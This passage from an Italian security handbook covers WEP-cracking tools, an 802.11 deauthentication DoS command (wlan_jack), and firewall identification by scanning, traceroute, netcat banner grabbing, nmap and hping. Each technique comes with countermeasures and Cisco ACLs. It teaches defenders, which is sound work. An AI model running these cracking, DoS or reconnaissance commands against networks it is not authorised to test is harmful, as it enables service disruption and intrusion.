Attualmente, le contromisure per tutti gli sniffer e cracker di pacchetti WLAN sono piuttosto elementari. Innanzitutto, è opportuno che implementiate il WEP su tutti i vostri AP, con una lunghezza della chiave pari a 128 bit. Quando si seleziona una chiave WEP, è essenziale scegliere una chiave segreta che non corrisponda a un termine presente in un dizionario, se possibile una chiave contenente un insieme di caratteri numerici, alfabetici e caratteri speciali. L'ideale sarebbe l'utilizzo di una chiave WEP con una lunghezza superiore a otto caratteri, poiché questo aumenta notevolmente il tempo necessario a condurre a termine attacchi basati sulla forza bruta nello spazio delle chiavi, rispetto a una passphrase a 6 caratteri. Occorre modificare il SSID per l'AP, evitando di utilizzare l'impostazione di default; se poi il fornitore fornisce un fix per l'algoritmo WEP, quale WEP-Plus, è opportuno implementarlo. Un ultimo consiglio: modificate il più spesso possibile la vostra chiave WEP. Rammentate che chiunque si trovi entro il raggio di copertura ha accesso ai dati trasmessi sulla vostra rete 802.11. Pertanto, l'attività di protezione di tali dati dovrà essere svolta costantemente e su diversi livelli.

WLAN-Tools

Diffusione:	*10*
Semplicità:	*8*
Impatto:	*9*
Fattore di rischio:	*9*

WLAN-Tools (o, come dovrebbe essere chiamato, "il Padrino del wireless cracking") è stato creato da Tim Newsham (`http://www.lava.net/~newsham/wlan/`). È il capostipite degli attacchi codificati destinati a sfruttare i punti deboli contenuti nell'algoritmo WEP. Progettato per funzionare in ambiente Linux, WLAN-Tools, se opportunamente modificato, può funzionare anche su molte versioni di UNIX, tra cui BSD e Solaris. Il tool comprende programmi per la cattura di pacchetti 802.11 e il cracking di pacchetti con crittografia WEP. Questo toolkit è eccellente per chi desideri studiare il codice che determina la vulnerabilità; inoltre esso contiene patch per i driver degli sniffer. Abbiamo ritenuto necessario informarvi dell'esistenza di questo tool poiché esso è stato il capostipite di questo tipo di attacco; tuttavia, vista la sua interfaccia e le caratteristiche spartane, riteniamo che sia attualmente superato. Consigliamo pertanto di utilizzare al suo posto DWEPUtils di Dachb0den Labs, se possibile, o AirSnort.

Contromisure a WLAN-Tools

Per sapere come attenuare i rischi cui è soggetta la vostra WLAN, attenetevi ai consigli relativi alle contromisure per AirSnort, forniti nella prima parte del capitolo.

DWEPCrack

Diffusione:	*5*
Semplicità:	*4*
Impatto:	*9*
Fattore di rischio:	*6*

DWEPCrack, scritto da Dachb0den Labs (`http://www.dachb0den.com/projects/dweputils.html`), è un tool utilizzato specificamente per effettuare il cracking di pacchetti con crittografia WEP tramite la piattaforma BSD. Dachb0den Labs, situata nella California del Sud, si vanta di essere un'azienda dedita alla ricerca sui problemi della sicurezza e sulle reti wireless. Il toolkit Dachb0den contiene funzioni specifiche, che possono essere utilizzate individualmente o combinate in uno script in modo da farle interagire. È di gran lunga il toolkit più completo tra quelli che consentono di sfruttare i numerosi punti deboli contenuti nell'algoritmo WEP; inoltre, consente a un aggressore di sfruttare altri punti deboli basati sull'infrastruttura, quali le liste di controllo degli accessi basate su MAC, con un algoritmo a forza bruta che cerca di "forzare" lo spazio delle chiavi degli indirizzi MAC allo scopo di stabilire un'associazione non autorizzata a un AP. DWEPCrack consente di specificare una lista di dizionari da utilizzare per un attacco di tipo forza bruta alla chiave WEP, nonché di sottoporre a un attacco basato sulla forza bruta l'intero spazio delle chiavi finché non viene trovata la chiave opportuna. Tenete presente che se l'AP utilizza una chiave WEP a 128 bit, è del tutto possibile che essa venga modificata prima che la troviate. Per informazioni

dettagliate sulle modalità di esecuzione del cracking o sulla crittografia, consultate il paragrafo dedicato al WEP, o effettuate ricerche su Google.com.
DWEPCrack effettua il parsing del log, individuando il numero di pacchetti, gli IV univoci e le corrispondenti chiavi di cifratura utilizzate per effettuare lo XOR del payload dei pacchetti. Quando esso stabilisce che sono soddisfatti gli opportuni prerequisiti per tentare un attacco WEP, cerca di acquisire con un metodo a forza bruta la chiave WEP. Ecco cosa potete aspettarvi di vedere quando eseguite DWEPCrack dalla riga di comando fornendogli un log di pacchetti con crittografia WEP:

```
cloud@gabriel ~$ dwepcrack -w ~/sniffed_wlan_log

* dwepcrack v0.4 by h1kari <h1kari@dachb0den.com> *
* Copyright (c) Dachb0den Labs 2002 [ht*p://dachb0den.com] *

reading in captured ivs, snap headers, and samples... done
total packets: 723092

calculating ksa probabilities...
 0: 88/654 keys (!)
 1: 2850/80900 keys (!)
 2: 5079/187230 keys (!)
 3: 5428/130824 keys (!)
 4: 14002/420103 keys (!)

(!) insufficient ivs, must have > 60 for each key (!)
(!) probability of success for each key with (!) < 0.5 (!)

warming up the grinder...
 packet length: 48
 init ventor: 58:f4:24
 default tx key: 0

progress: ....................................

wep keys successfully cracked!
0: XX:XX:XX:XX:XX *
done.

cloud@gabriel ~$
```

Contromisure a DWEPCrack

Per sapere come limitare alcuni dei rischi connessi alla vostra WLAN, attenetevi ai consigli relativi alle contromisure per AirSnort, forniti in precedenza.

Attacchi DoS

Le reti wireless 802.11 possono essere sottoposte ad attacchi DoS (*Denial of Service*) effettuati utilizzando lo stesso protocollo 802.11 e mediante interferenze in intervallo di frequenze della banda S ISM. L'intervallo ISM (*Industrial Scientific and Medical*) è stato riservato dall'FCC all'utilizzo mediante dispositivi per i quali non è prevista una licenza. Questo significa che se desiderate creare un sistema RF che utiliz-

zi una banda ISM non dovrete pagare all'FCC alcuna tassa di concessione per la licenza (tuttavia dovrete registrare il dispositivo). Gli standard 802.11, 11b e 11g si servono della banda ISM a 2,4-2,5 GHz, attualmente piuttosto affollata. In questa banda operano i telefoni cordless, le ricetrasmittenti "Baby Control", le fotocamere X10 e numerosi altri dispositivi, che possono provocare la perdita di pacchetti o addirittura l'interruzione del servizio nelle reti 802.11.

C'è un altro problema insito nell'802.11: i frame di gestione che controllano le operazioni relative alla connessione al client sono completati senza autenticazione e possono essere contraffatti facilmente. Sostanzialmente, un aggressore può contraffare un pacchetto in modo che esso sembri a tutti i client presenti sulla rete generato nel punto di accesso. Questo pacchetto segnala a tutti i client di disconnettersi. Purtroppo non c'è alcun modo per impedire a un aggressore della vostra rete di eseguire questa operazione. Il tool `wlan_jack`, che consente di effettuare questo tipo di attacco, è incluso nella suite Air-Jack. Per utilizzarlo, occorre specificare il punto di accesso MAC, il canale e l'indirizzo MAC a cui inviare l'attacco. La destinazione di default è costituita dall'indirizzo di broadcast, il che significa che verrà inviato a tutti i client. Tuttavia è anche possibile sopprimere selettivamente un'unica connessione, specificando solo l'indirizzo MAC della stazione corrispondente. Nell'esempio seguente, il MAC per il quale intendiamo annullare l'autenticazione (escludendolo in tal modo dalla rete) è **`00:09:E8:B4:CB:E8`**, metre quello del punto di accesso è **`00:07:0E:B9:94:32`**:

```
[cloud@gabriel tools]# ./wlan_jack -b 00:07:0E:B9:94:32 -v 00:09:E8:
B4:CB:E8 -c 6 -i aj0
Wlan-Jack: 802.11 DOS utility

Jacking Wlan...
```

`Wlan_jack` agisce continuamente, finché non viene individuato, per cui può escludere la stazione dalla rete a tempo indefinito.

Panoramica sull'802.1x

Gli standard IEEE 802.11a e 802.11b sono stati aspramente criticati dai mass media, dal settore dei prodotti commerciali e dalla maggior parte degli addetti ai lavori del settore della sicurezza informatica per la loro mancanza di adeguate specifiche per la sicurezza basata sul protocollo. I fornitori hanno compiuto diversi sforzi per migliorare la sicurezza dell'802.11 e per aggiornare il firmware, e addirittura alcuni fornitori stanno attualmente considerando la possibilità di passare a un'infrastruttura basata su Bluetooth per le loro soluzioni wireless. Nella speranza di riuscire a risolvere i problemi di sicurezza e ridurre i rischi connessi con l'attuale infrastruttura 802.11, l'IEEE, in coordinamento con partner commerciali e del mondo accademico, ha messo a punto il protocollo 802.1x.

Gli obiettivi della progettazione di alto livello dell'802.1x sono semplici. La specifica prevede un'infrastruttura espandibile che consente e assicura l'aggiunta continua di ulteriori client e AP con uno sforzo tecnologico minimo. Oltre agli obiettivi riguardanti l'infrastruttura, sono stati affrontati problemi di sicurezza, inclusa l'autenticazione e la crittografia. È stato rilevato che sarebbe opportuno implementare un qualche meccanismo per la crittografia continua dei nodi effettuata mediante diverse chiavi segrete, superando i limiti del WEP. Infine, sarebbe opportuno affrontare il

problema dell'autenticazione in modalità duale. Attualmente, l'autenticazione dei nodi avviene tramite un handshake client-to-server, anziché uno schema client-to-server, server-to-client.

In genere, le proposte di integrazione dei framework 802.1x e 802.11 richiedono la soluzione di due problemi principali. L'attuale specifica 802.1x non assicura una protezione contro gli attacchi Man-In-The-Middle e non affronta il problema degli attacchi di dirottamento di sessioni. Gli attacchi Man-In-The-Middle puntano al reindirizzamento del traffico da un nodo client all'AP, consentendo pertanto al dirottatore di visualizzare tutti i dati che vengono trasmessi a tale nodo dall'AP e da tale nodo all'AP. Questo tipo di attacco ha successo a causa della mancata autenticazione effettuata dall'AP nei confronti del client, che induce a un'eccessiva fiducia nell'autenticazione client-server. Per esempio, nella specifica 802.1x non c'è attualmente alcun metodo che dia al client la certezza di effettuare l'autenticazione sull'AP opportuno. L'altro tipo di attacco, il dirottamento di sessioni, ha successo a causa della mancanza di confidenzialità dei messaggi e di autenticazione a basso livello. Un aggressore può disassociare un utente legittimo e poi assumerne surrettiziamente l'identità per proseguire la sessione di comunicazione, senza che l'AP rilevi questo trucco. Alcuni tool come Air-Jack e Libradiate possono risultare utili per eseguire attacchi di questo tipo.

Sfortunatamente, non esiste una soluzione semplice a questo problema; esso non può essere risolto aggiungendo semplicemente un altro schema di autenticazione, né creando un metodo sicuro di schedulazione continua delle chiavi. È necessario che coloro che ne hanno l'autorità si rimettano a tavolino e creino un protocollo solido e sicuro di comunicazione sulle reti, in particolare quelle wireless, senza peraltro rinunciare alle funzionalità desiderate.

I siti Web elencati di seguito mettono a disposizione trattazioni scientifiche e informazioni dettagliate relative ai temi della sicurezza in ambiente 802.1x e 802.1x:

- **www.cs.umd.edu/~waa/1x.pdf.** Pubblicazione dell'University of Maryland relativa alle ricerche effettuate in merito all'attuale standard del protocollo IEEE 802.1x;
- **http://grouper.ieee.org/groups/802/11/index.html.** Specifica del protocollo di comunicazione IEEE 802.11;
- **http://www.ieee802.org/1/pages/802.1x.html.** Specifica del protocollo di comunicazione IEEE 802.1x.

Capitolo 11

Firewall

Fin dalla pubblicazione dello storico libro di Cheswick e Bellovin sulla realizzazione di un sistema di firewall e l'identificazione di uno scaltro hacker di nome Berferd, la sola idea di disporre un server Web su Internet senza accompagnarlo con un firewall è stata considerata suicida. Altrettanto suicida si è rivelata la frequente decisione di far ricadere sulle spalle del progettista della rete la gestione del firewall: queste persone possono essere ferratissime sulle implicazioni tecniche di un firewall, ma non sono certamente ferrate in materia di sicurezza, né riescono a immedesimarsi nella mentalità o nei metodi di un hacker. Di conseguenza, il mondo è pieno di firewall mal configurati, che consentono agli intrusi di tuffarsi in una rete e provocare più di un grattacapo.

Scenario attuale

Il mercato offre principalmente due tipi di firewall: proxy applicativi (*application proxy*) e gateway per il filtraggio dei pacchetti (*filtering gateway*). Mentre i primi vengono unanimemente considerati più sicuri dei secondi, la loro natura restrittiva e le pesanti ricadute a livello di prestazioni ne hanno limitato l'adozione al traffico in uscita dall'azienda piuttosto che in ingresso su un server Web o DMZ. I gateway per il filtraggio dei pacchetti, o le versioni più sofisticate per il filtraggio di stato, sono invece diffusi in molte delle più grandi organizzazioni, dove sono più stringenti i requisiti in termini di prestazioni.
Fin dall'introduzione del primo firewall, questi dispositivi hanno difeso innumerevoli reti da occhi indiscreti e intrusioni vandaliche, ma siamo ancora lontani dall'avere l'antidoto perfetto. Ogni anno si scoprono nuovi punti vulnerabili in quasi tutti i firewall presenti sul mercato. Ma quel che è peggio, la maggior parte di essi viene configurata in modo non corretto, oppure non viene controllata o sottoposta a manutenzione, facendone dei veri e propri fermaporta elettronici che tengono la porta ben spalancata.
Sia ben chiaro, un firewall ben congegnato, configurato e tenuto sotto controllo è praticamente impenetrabile. In effetti, anche gli hacker più preparati se ne rendono conto e preferiscono aggirare queste protezioni sfruttando eventuali relazioni di fiducia, o cercando punti vulnerabili negli anelli più deboli della catena, o evitarle del tutto, attaccando attraverso un account a connessione telefonica. In poche paro-

le, la maggior parte degli hacker farà il possibile per evitare un firewall robusto: l'obiettivo è quindi rinforzarli il più possibile.
Essendo noi stessi amministratori di firewall, abbiamo imparato quanto sia importante conoscere il nemico: riuscire a prevedere i primi passi che un hacker compie nel tentativo di superare il nostro firewall ci aiuterà enormemente nel riconoscere e contrastare un simile attacco. In questo capitolo illustreremo le principali tecniche attualmente utilizzate per riconoscere ed enumerare i firewall, insieme ad alcuni dei metodi con cui un hacker potrebbe tentare di aggirarli. Per ogni tecnica, spiegheremo come intercettare e prevenire gli attacchi.

Identificazione dei firewall

Qualsiasi firewall emette un "odore" elettronico inconfondibile. In altre parole, per la quasi totalità dei firewall presenti sulla rete è sufficiente qualche scansione sulle porte e un po' di firewalking e di cattura dei banner, per ricavare con precisione il tipo, la versione e il comportamento seguito da quasi tutti i firewall in rete. Perché è così importante questa identificazione? Perché una volta circoscritti se ne possono esaminare i punti deboli e sfruttarli.

Scansione diretta: la tecnica "rumorosa"

Diffusione:	*10*
Semplicità:	*8*
Impatto:	*2*
Fattore di rischio:	*7*

Il modo più semplice per trovare i firewall è effettuare la scansione di specifiche porte predefinite (come spiegato nel Capitolo 2). Alcuni dei firewall presenti sul mercato possono essere identificati semplicemente dal risultato della scansione delle porte: basta sapere dove cercare. Per esempio, il Firewall-1 di Check Point ascolta sulle porte TCP 256, 257, 258 e 259 (mentre NG di Check Point è in ascolto sulle porte TCP 18210, 18211, 18186, 18190, 18191, 18192) mentre il Proxy Server di Microsoft solitamente ascolta sulle porte TCP 1080 e 1745. Sapendo questo, cercare questi tipi di firewall con un programma di scansione delle porte come ScalLine di Foundstone diventa banale:

```
sl -pvh -t 23,80 68.4.190.1-254
```

L'opzione `--p` *disattiva l'utilizzo di ping ICMP prima della scansione: è importante, perché la maggior parte dei firewall non risponde alle richieste ICMP di tipo echo.*

L'hacker sprovveduto o sicuro di sé userà questo strumento per effettuare una scansione ad ampio spettro della vostra rete, alla ricerca di firewall ed eventuali falle nella protezione perimetrale della rete. Gli hacker più pericolosi, invece, lo faranno nel modo più silenzioso possibile. Esistono diverse tecniche che permettono a un intruso di passare inosservato, come effettuare i ping e considerare le porte (`-z`) e gli indirizzi di destinazione (`-z`) e le porte d'origine (`-g`) in ordine casuale anziché in sequenza (il che significa che un hacker può distribuire la scansione della rete tra diversi computer collegati a Internet).

Se credete che il vostro sistema IDS (*Intrusion Detection System*) sia in grado di riconoscere questi hacker più pericolosi, vi invitiamo a ripensarci: la maggior parte degli IDS, nella loro configurazione standard, è in grado di riconoscere solo i tentativi di scansione meno discreti e prevedibili. A meno che non interveniate personalmente per aumentare la sensibilità del vostro IDS e affinare la sensibilità del riconoscimento, la maggior parte degli attacchi passerà del tutto inosservata. Per effettuare una scansione completamente casuale sono sufficienti semplici script Perl, simili a quelli proposti sul sito Web `http://www.hackingexposed.com`.

Contromisura alla scansione diretta

Le contromisure per la scansione dei firewall riprendono per molti versi quelle già esposte nel Capitolo 2, dedicato appunto alla scansione. Potete scegliere tra bloccare questo tipo di scansioni sui router di confine o adottare qualche strumento per l'intercettazione degli intrusi (ne esistono sia freeware sia commerciali). In ogni caso, tuttavia, la maggior parte degli IDS non rileverà la scansione di singole porte; dovrete quindi regolarne la sensibilità prima che il riconoscimento sia effettivamente affidabile.

Intercettazione

Per riuscire a riconoscere le scansioni delle porte che utilizzano sequenze casuali, è necessario prima adattare le impronte utilizzate per il riconoscimento. Per maggiori dettagli, fate riferimento alla documentazione del produttore del vostro IDS.
Se utilizzate Firewall-1 per UNIX, potete servirvi del programma di Lance Spitzner per l'intercettazione delle scansioni sulle porte con Firewall-1 (`http://www.enter-act.com/~lspitz/intrusion.html`). Come già detto nel Capitolo 2, lo script `alert.sh` è in grado di configurare Check Point in modo da riconoscere e controllare le scansioni delle porte, emettendo eventualmente un avviso utente personalizzabile (*User Defined Alert*).

Prevenzione

Per impedire le scansioni sulle porte del firewall da Internet è necessario bloccarle sui router posti prima dei firewall; se questi dispositivi sono gestiti dal vostro ISP, dovrete discutere insieme le modalità di blocco, se invece siete voi stessi a gestirli potete utilizzare le seguenti ACL Cisco, per bloccare esplicitamente le scansioni:

```
access-list 101 deny tcp any any eq 256 log  ! Block Firewall-1 scans
access-list 101 deny tcp any any eq 257 log  ! Block Firewall-1 scans
access-list 101 deny tcp any any eq 258 log  ! Block Firewall-1 scans
access-list 101 deny tcp any any eq 259 log  ! Block Firewall-1 scans
access-list 101 deny tcp any any eq 1080 log  ! Block Socks scans
access-list 101 deny tcp any any eq 1745 log  ! Block Winsock scans
```

Se decidete di bloccare le porte di Check Point (256-259) sui router esterni, ricordate che non potrete più gestire il firewall da Internet.

Il vostro amministratore Cisco non dovrebbe avere problemi a definire queste regole per il firewall: è sufficiente entrare in modalità enable e digitare le righe una alla volta, quindi uscire dalla modalità enable e digitare **`write`** *per riportarle nel file di configurazione.*

Inoltre, su tutti i router dovrebbe essere definita una regola di "pulizia" (se già non respinge i pacchetti per impostazione predefinita) che si comporti come specificato nelle operazioni di rifiuto. Una tipica regola di tipo "vieta tutto" si presenterà come segue:

```
access-list 101 deny ip any any log  ! Deny and log any packet that got
through our ACLs above
```

Come per ogni altra contromisura, verificate con cura la documentazione e i requisiti di installazione prima di adottare qualsiasi rimedio.

traceroute

Diffusione:	*10*
Semplicità:	*8*
Impatto:	*2*
Fattore di rischio:	*7*

Un metodo più ingegnoso e discreto per trovare i firewall su una rete prevede l'impiego di `traceroute`, nella versione per UNIX o Windows (`tracert.exe`), con l'identificazione di ogni salto sul percorso e l'azzardo di qualche deduzione. La versione di `traceroute` per Linux prevede un'opzione `-I`, che esegue la mappatura inviando pacchetti ICMP, al posto dei pacchetti UDP utilizzati di default:

```
[sm]$ traceroute -I 192.168.51.100
traceroute to 192.168.51.101 (192.168.51.100), 30 hops max, 40 byte
packets
 1  attack-gw (192.168.50.21)  5.801 ms  5.105 ms  5.445 ms
 2  gw1.smallisp.net (192.168.51.1)
 3  gw2.smallisp.net (192.168.52.2)
....

13  hssi.bigisp.net (10.55.201.2)
14  serial1.bigisp.net (10.55.202.1)
15  192.168.51.101 (192.168.51.100)
```

Ci sono buone probabilità che il sistema (10.55.202.1) che precede la destinazione (192.168.51.100) sia il firewall, ma non possiamo ancora esserne certi. Sarà quindi necessario qualche approfondimento.

L'esempio precedente va benissimo se i router che vi separano dal server target rispondono ai pacchetti con TTL scaduto. Purtroppo, alcuni router e firewall sono impostati in modo da non restituire pacchetti ICMP con TTL scaduto (in risposta a pacchetti sia ICMP sia UDP): in questo caso la deduzione è meno scientifica. La sola possibilità è eseguire `traceroute` e osservare l'ultimo passaggio per il quale si riceve risposta: potrebbe trattarsi o di un firewall vero e proprio, o del primo router sul percorso che inizia a bloccare i pacchetti con TTL scaduto. Per esempio, in questo caso ICMP viene bloccato prima di arrivare a destinazione e non si ricevono risposte da router oltre `client-gw.smallisp.net`:

```
 1 stoneface (192.168.10.33) 12.640 ms 8.367 ms
 2 gw1.localisp.net (172.31.10.1) 214.582 ms 197.992 ms
 3 gw2.localisp.net (172.31.10.2) 206.627 ms 38.931 ms
 4 ds1.localisp.net (172.31.12.254) 47.167 ms 52.640 ms
...
```

```
14 ATM6.LAX2.BIGISP.NET (10.50.2.1) 250.030 ms 391.716 ms
15 ATM7.SDG.BIGISP.NET (10.50.2.5) 234.668 ms 384.525 ms
16 client-gw.smallisp.net (10.50.3.250)  244.065 ms !X * *
17 * * *
18 * * *
```

Contromisura a traceroute

Il rimedio per evitare le perdite di informazioni attraverso `traceroute` è impedire al maggior numero possibile di firewall e router di rispondere a pacchetti con TTL scaduto: purtroppo questo non è sempre possibile, perché molti dei vostri router sono probabilmente controllati dal vostro ISP, ma possono essere effettuati alcuni tentativi per indurre il vostro ISP a intervenire.

Intercettazione

Per intercettare i tentativi di `traceroute` standard sul perimetro della rete è necessario monitorare l'arrivo di pacchetti ICMP e UDP con TTL pari a 1.

Prevenzione

Per impedire il passaggio di tentativi di `traceroute` attraverso i confini della vostra rete, potete configurare i router in modo che non rispondano con messaggi TTL EXPIRED all'arrivo di pacchetti con TTL pari a 0 o 1. La seguente ACL può essere utilizzata con i router Cisco:

```
access-list 101 deny ip any any 11 0 ! ttl-exceeded
```

L'ideale sarebbe bloccare sui router esterni tutto il traffico UDP non strettamente necessario.

Cattura dei banner

Diffusione:	*10*
Semplicità:	*9*
Impatto:	*3*
Fattore di rischio:	*7*

La scansione delle porte dei firewall può aiutare a localizzarli, ma la maggior parte di essi non ascolta su porte predefinite, come Check Point e il prodotto Microsoft, quindi è necessario arrivare al riconoscimento per deduzione. Ricorderete dal Capitolo 3 che per scoprire i nomi e le versioni delle applicazioni in esecuzione è possibile provare a collegarsi ai servizi attivi e leggere i relativi banner (le intestazioni restituite). Per riconoscere un firewall si può procedere allo stesso modo. Molti si presentano da soli, quando ci si collega (ovviamente, per trovare una porta alla quale connettervi dovrete effettuare una scansione delle porte, argomento trattato nel Capitolo 2): molti firewall proxy si dichiarano tali e alcuni comunicano il tipo e la versione. Per esempio, collegandoci con `netcat` sulla porta 21 (FTP) del presunto firewall dell'esempio precedente, otteniamo indicazioni interessanti:

```
C:\>nc -v -n 192.168.51.129 21
```

```
(UNKNOWN) [192.168.51.129] 21 (?) open
220 Secure Gateway FTP server ready.
```

Il messaggio "Secure Gateway FTP server ready" è un forte indizio della presenza di una vecchia macchina Eagle Raptor. Un secondo collegamento alla porta 23 (telnet) conferma i nostri sospetti:

```
C:\>nc -v -n 192.168.51.129 23
(UNKNOWN) [192.168.51.129] 23 (?) open
Eagle Secure Gateway.
Hostname:
```

Se alla fine non siete ancora convinti che si tratti di un firewall, potete collegarvi con netcat alla porta 25 (SMTP), ottenendo una risposta inequivocabile:

```
C:\>nc -v -n 192.168.51.129 25
(UNKNOWN) [192.168.51.129] 25 (?) open
421 fw3.example.com Sorry, the firewall does not provide mail service to
you.
```

Come potete notare da questi esempi, le informazioni contenute nei banner possono rivelarsi preziose per gli hacker che intendono intercettare i firewall. Sulla base di queste informazioni, essi possono tentare di sfruttare punti deboli noti o errori di configurazione comuni.

Contromisure alla cattura dei banner

La soluzione a questo tipo di vulnerabilità è eliminare le porte aperte sul firewall (operazione generalmente impossibile) o limitare il più possibile le informazioni esposte nei banner. Se proprio dovete lasciare aperta una porta sull'interfaccia verso l'esterno del firewall, potete modificare il banner affinché presenti all'ospite indesiderato un warning che segnali che il sistema provvederà a registrare ogni tentativo di connessione. Il modo specifico per modificare i banner predefiniti dipende ovviamente dal tipo di firewall che utilizzate, quindi vi consigliamo di contattare il produttore.

Prevenzione

Per impedire che un hacker riesca a ottenere troppe informazioni sui vostri firewall esaminando i banner da essi esposti, il più delle volte è sufficiente modificare i file di configurazione dei banner, con modalità dipendenti dal produttore. Sui firewall Eagle Raptor, per sostituire i banner per FTP e telnet è sufficiente modificare i file "message-of-the-day": `ftp.motd` e `telnet.motd`.

Tecniche avanzate di identificazione dei firewall

Se la scansione diretta dei firewall, il tracciamento del percorso e la cattura dei banner non hanno dato i risultati sperati, l'hacker passerà alla seconda fase dell'enumerazione dei firewall. La presenza di firewall e le relative ACL possono essere dedotte sondando gli obiettivi e prendendo nota dei percorsi affrontati (o non affrontati) per arrivare a destinazione.

Deduzione semplice con nmap

Diffusione:	4
Semplicità:	6
Impatto:	7
Fattore di rischio:	6

nmap è un eccellente strumento per ottenere informazioni sui firewall e noi lo utilizziamo molto spesso: non si limita a indicare quali porte siano aperte o chiuse, ma anche quali sono bloccate. La quantità (o la mancanza) di informazioni ottenute con la scansione delle porte può rivelare molto sulla configurazione del firewall.
La presenza di una porta filtrata in nmap può segnalare tre eventualità.

- Non è stato ricevuto un pacchetto SYN/ACK.
- Non è stato ricevuto un pacchetto RST/ACK.
- È stato ricevuto un messaggio ICMP di tipo 3 (destinazione non raggiungibile) contenente il codice 13 (Comunicazione inibita dall'amministratore, [RFC1812]).

nmap sintetizza ed elabora queste tre situazioni, identificando la porta come "filtered". Per esempio, durante la scansione di www.example.com, riceviamo due pacchetti ICMP che indicano che il firewall blocca gli accessi alle porte 23 e 111 provenienti dal nostro sistema:

```
Starting nmap V. 2.08 by Fyodor (fyodor@dhp.com, www.insecure.org/nmap/)
Initiating TCP connect() scan against  (192.168.51.100)
Adding TCP port 53 (state Open).
Adding TCP port 111 (state Firewalled).
Adding TCP port 80 (state Open).
Adding TCP port 23 (state Firewalled).
Interesting ports on  (192.168.51.100):
Port    State       Protocol  Service
23      filtered    tcp        telnet
53      open        tcp        domain
80      open        tcp        http
111     filtered    tcp        sunrpc
```

Lo stato "Firewalled", in questo output dettagliato, rappresenta la ricezione di un pacchetto ICMP di tipo 3 e codice 13 (Admin Prohibited Filter), come mostrato nell'output di tcpdump:

```
23:14:01.229743 10.55.2.1 > 172.29.11.207: icmp: host 172.32.12.4
Unreachable - admin prohibited filter
23:14:01.979743 10.55.2.1 > 172.29.11.207: icmp: host 172.32.12.4
Unreachable - admin prohibited filter
```

Come riesce nmap ad associare questi pacchetti con quelli originali, senza confonderli nel mare di pacchetti che sfrecciano sulla rete? In realtà il pacchetto ICMP restituito alla macchina che effettua la scansione contiene tutti i dati necessari per capire cosa stia succedendo: la porta bloccata è il byte che si trova nell'intestazione ICMP, nella posizione 0x41, mentre l'indirizzo del firewall che opera il filtro si trova nella porzione IP del pacchetto, alla posizione 0x1b (4 byte).

Infine, nmap classifica come "unfiltered" (non filtrate) le porte per cui riceve un pacchetto RST/ACK in risposta alla scansione. In corrispondenza dello stato "unfiltered", possiamo concludere che o la scansione riesce a superare il firewall e il sistema target dichiara di non ascoltare su quella porta, o il firewall risponde, sostituendosi al target e contraffacendone l'indirizzo IP nella risposta RST/ACK. Per esempio, la scansione di un sistema locale identifica due porte non filtrate perché riceve due pacchetti RST/ACK dallo stesso host. Questa situazione si può verificare anche in presenza di firewall come Check Point (se è attiva la regola REJECT), se questi rispondono al posto del target con un pacchetto RST/ACK in cui viene contraffatto l'indirizzo dell'obiettivo originario:

```
[root]# nmap -sS -p1-300 172.18.20.55

Starting nmap V. 2.08 by Fyodor (fyodor@dhp.com, www.insecure.org/nmap/)
Interesting ports on  (172.18.20.55):
(Not showing ports in state: filtered)

Port     State       Protocol  Service
7        unfiltered  tcp        echo
53       unfiltered  tcp        domain
256      open        tcp        rap
257      open        tcp        set
258      open        tcp        yak-chat

Nmap run completed -- 1 IP address (1 host up) scanned in 15 seconds
```

L'output di tcpdump associato a questa sequenza riporta i pacchetti RST/ACK ricevuti:

```
21:26:22.742482 172.18.20.55.258 > 172.29.11.207.39667: S
415920470:1415920470(0) ack 3963453111 win 9112 <mss 536> (DF)
(ttl 254, id 50438)
21:26:23.282482 172.18.20.55.53 > 172.29.11.207.39667:
R 0:0(0) ack 3963453111 win 0 (DF) (ttl 44, id 50439)
21:26:24.362482 172.18.20.55.257 > 172.29.11.207.39667:
S 1416174328:1416174328(0) ack 3963453111 win 9112 <mss 536>
(DF) (ttl 254, id 50440)
21:26:26.282482 172.18.20.55.7 > 172.29.11.207.39667:
R 0:0(0) ack 3963453111 win 0 (DF) (ttl 44, id 50441)
```

Contromisure alla deduzione semplice con nmap

Intercettazione

I meccanismi di intercettazione delle scansioni con nmap sono gli stessi descritti nel Capitolo 2. In particolare, consigliamo di personalizzarli in modo da ricavare soltanto le scansioni che possono causare il riconoscimento dei vostri firewall.

Prevenzione

Per impedire agli hacker di enumerare le ACL di router e firewall applicando la tecnica "admin prohibited filter", è possibile disattivare le risposte del router con pacchetti ICMP di tipo 13. Nei sistemi Cisco è sufficiente impedire al dispositivo di rispondere ai messaggi "IP non raggiungibile":

```
no ip unreachables
```

Identificazione delle porte

Diffusione:	*5*
Semplicità:	*6*
Impatto:	*7*
Fattore di rischio:	*6*

Alcuni firewall possiedono un'impronta unica, una serie di numeri che li distingue da altri sistemi analoghi. Per esempio, Check Point mostra una serie di numeri quando ci si connette alla porta TCP 257 di gestione SNMP. Se da un lato la semplice presenza delle porte 256-259 su un sistema segnala con sufficiente certezza un Firewall-1 di Check Point, il seguente test può confermarlo:

```
[root]# nc -v -n 192.168.51.1 257 (UNKNOWN) [192.168.51.1] 257 (?) open
        30000003

[root]# nc -v -n 172.29.11.191 257
(UNKNOWN) [172.29.11.191] 257 (?) open
        31000000
```

Contromisure per l'identificazione delle porte

Prevenzione

Per impedire le connessioni alla porta TCP 257 (o qualsiasi altra porta di Check Point) è possibile bloccarla sui router esterni. Una semplice ACL Cisco come la seguente può respingere esplicitamente il tentativo di un hacker:

```
access-list 101 deny tcp any any eq 257 log  ! Block Firewall-1 scans
```

Scansione attraverso i firewall

Tranquilli, non abbiamo intenzione di mettere nelle mani di qualche ragazzino tecniche magiche per rendere inefficaci i vostri firewall. Piuttosto, vedremo alcune tecniche per girare intorno ai firewall, raccogliendo informazioni fondamentali sui diversi percorsi che li aggirano o attraversano.

Trasmissione di pacchetti di dati raw

Diffusione:	*3*
Semplicità:	*4*
Impatto:	*8*
Fattore di rischio:	*5*

`hping`, un programma di Salvatore Sanfilippo (`http://www.hping.org`), invia pacchetti TCP (in modalità predefinita) a una porta di destinazione e fornisce un report sui pacchetti ricevuti in cambio. Le risposte di `hping` dipendono da numerose condizioni. Ogni pacchetto contribuisce alla ricostruzione del profilo di controllo degli

accessi del firewall. Per esempio, `hping` permette di identificare i pacchetti aperti, bloccati, scartati e respinti.
In questo esempio, `hping` rivela che la porta 80 è aperta e in attesa di una connessione: lo si capisce perché nel pacchetto ricevuto in risposta è attivato il flag SA (si tratta di un pacchetto SYN/ACK):

```
[root]# hping2 192.168.0.2 -S -p 80 -n
HPING www.example.com (eth0 172.16.1.20): S set, 40 data bytes
60 bytes from 192.168.0.2: flags=SA seq=0 ttl=242 id=65121 win=64240
